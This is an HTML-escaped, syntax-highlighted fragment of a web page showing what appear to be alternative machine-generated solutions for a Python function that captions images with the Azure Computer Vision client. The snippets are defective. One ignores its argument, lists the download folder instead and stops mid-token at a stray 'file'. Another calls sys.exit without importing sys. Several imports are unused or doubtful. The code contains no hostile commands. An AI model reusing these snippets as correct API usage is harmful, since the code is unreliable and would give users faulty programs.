&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;335&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#335&#34;&gt;335&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;336&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#336&#34;&gt;336&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;337&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#337&#34;&gt;337&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;338&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#338&#34;&gt;338&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;339&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#339&#34;&gt;339&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;340&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#340&#34;&gt;340&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;341&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#341&#34;&gt;341&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;342&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#342&#34;&gt;342&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;343&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#343&#34;&gt;343&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;344&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#344&#34;&gt;344&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;345&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#345&#34;&gt;345&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;346&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#346&#34;&gt;346&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;347&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#347&#34;&gt;347&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;348&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#348&#34;&gt;348&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;349&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#349&#34;&gt;349&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;350&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#350&#34;&gt;350&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;351&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#351&#34;&gt;351&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;352&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#352&#34;&gt;352&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;353&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#353&#34;&gt;353&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;354&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#354&#34;&gt;354&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;355&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#355&#34;&gt;355&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;356&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#356&#34;&gt;356&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Synthesizing &lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt; solutions
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; ComputerVisionClient
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.authentication&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesCredentials
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; TextOperationStatusCodes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; TextRecognitionMode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; VisualFeatureTypes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.exceptions&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesError
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os.path&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; exists
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; remove
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; makedirs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; listdir
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os.path&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; isfile, join
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;time&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; sleep
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;sys&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;random&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; randint
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;datetime&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; datetime
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# set up the connection to the cognitive services account&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subscription_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;YOUR KEY HERE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    endpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://YOUR ENDPOINT HERE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    group_id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;YOUR GROUP ID HERE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    client &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ComputerVisionClient(endpoint, CognitiveServicesCredentials(subscription_key))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# set up the directory where the images will be downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    download_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./downloads/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; exists(download_dir):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        makedirs(download_dir)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# set up the directory where the images will be saved&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./images/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; exists(save_dir):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        makedirs(save_dir)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# set up the directory where the images will be saved&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    caption_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./captions/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; exists(caption_dir):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        makedirs(caption_dir)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# get a list of the files in the download directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    files &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [f &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; f &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; listdir(download_dir) &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; isfile(join(download_dir, f))]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(files) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;No files found in the download directory&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        exit(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# get the first file in the list&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    file_name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; files[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    file
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; environ
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; ComputerVisionClient
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.authentication&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesCredentials
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; TextOperationStatusCodes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; TextRecognitionMode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;azure.cognitiveservices.vision.computervision.models&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; VisualFeatureTypes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;msrest.exceptions&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; CognitiveServicesError
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add your Computer Vision subscription key to your environment variables.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_SUBSCRIPTION_KEY&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; environ:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subscription_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_SUBSCRIPTION_KEY&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Set the COMPUTER_VISION_SUBSCRIPTION_KEY environment variable.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;**Restart your shell or IDE for changes to take effect.**&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        sys&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add your Computer Vision endpoint to your environment variables.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_ENDPOINT&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; environ:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        endpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;COMPUTER_VISION_ENDPOINT&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Set the COMPUTER_VISION_ENDPOINT environment variable.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;**Restart your shell or IDE for changes to take effect.**&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        sys&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create an authenticated Computer Vision client.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    client &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ComputerVisionClient(endpoint, CognitiveServicesCredentials(subscription_key))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
